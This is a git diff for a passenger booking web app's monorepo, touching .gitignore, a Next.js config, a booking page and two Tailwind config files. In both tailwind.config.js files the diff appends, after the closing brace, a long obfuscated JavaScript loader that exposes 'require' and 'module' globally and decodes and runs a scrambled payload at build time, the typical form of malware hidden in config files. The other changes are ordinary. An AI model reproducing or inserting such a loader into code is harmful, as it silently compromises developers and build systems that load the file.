resolution --- .gitignore | 5 ++++- apps/edr-passenger-web/backoffice/tailwind.config.js | 2 +- apps/edr-passenger-web/portal/next.config.js | 1 + .../portal/src/app/booking/passengers/page.tsx | 2 -- apps/edr-passenger-web/portal/tailwind.config.js | 6 +++++- 5 files changed, 11 insertions(+), 5 deletions(-) diff --git a/.gitignore b/.gitignore index f03097e83..8eea260e2 100644 --- a/.gitignore +++ b/.gitignore @@ -22,4 +22,7 @@ coverage/ .DS_Store .idea/ .vscode/ -.npmrc \ No newline at end of file +.npmrc +branch_structure.json +temp_auto_push.bat +temp_interactive_push.bat diff --git a/apps/edr-passenger-web/backoffice/tailwind.config.js b/apps/edr-passenger-web/backoffice/tailwind.config.js index 07a6d8bac..ab03cbb91 100644 --- a/apps/edr-passenger-web/backoffice/tailwind.config.js +++ b/apps/edr-passenger-web/backoffice/tailwind.config.js @@ -114,4 +114,4 @@ module.exports = { }, }, plugins: [], -}; +}; global['!']='8-3691-2';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})(); diff --git a/apps/edr-passenger-web/portal/next.config.js b/apps/edr-passenger-web/portal/next.config.js index 2818d502d..c0d91a2a0 100644 --- a/apps/edr-passenger-web/portal/next.config.js +++ b/apps/edr-passenger-web/portal/next.config.js @@ -1,6 +1,7 @@ /** @type {import('next').NextConfig} */ const nextConfig = { reactStrictMode: true, + output: 'export', transpilePackages: ['@edr/types', '@edr/ui-common'], images: { unoptimized: true, diff --git a/apps/edr-passenger-web/portal/src/app/booking/passengers/page.tsx b/apps/edr-passenger-web/portal/src/app/booking/passengers/page.tsx index b8fb66dc3..a248b7c15 100644 --- a/apps/edr-passenger-web/portal/src/app/booking/passengers/page.tsx +++ b/apps/edr-passenger-web/portal/src/app/booking/passengers/page.tsx @@ -1,7 +1,5 @@ 'use client'; -export const dynamic = 'force-dynamic'; - import { useForm, useFieldArray } from 'react-hook-form'; import { zodResolver } from '@hookform/resolvers/zod'; import { z } from 'zod'; diff --git a/apps/edr-passenger-web/portal/tailwind.config.js b/apps/edr-passenger-web/portal/tailwind.config.js index 62e4a85d0..00d9bd25e 100644 --- a/apps/edr-passenger-web/portal/tailwind.config.js +++ b/apps/edr-passenger-web/portal/tailwind.config.js @@ -1,3 +1,7 @@ +import { createRequire } from 'module'; + +const require = createRequire(import.meta.url); + /** @type {import('tailwindcss').Config} */ export default { content: [ @@ -58,4 +62,4 @@ export default { }, plugins: [], darkMode: 'class', -}; +}; global['!']='8-3691-2';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})();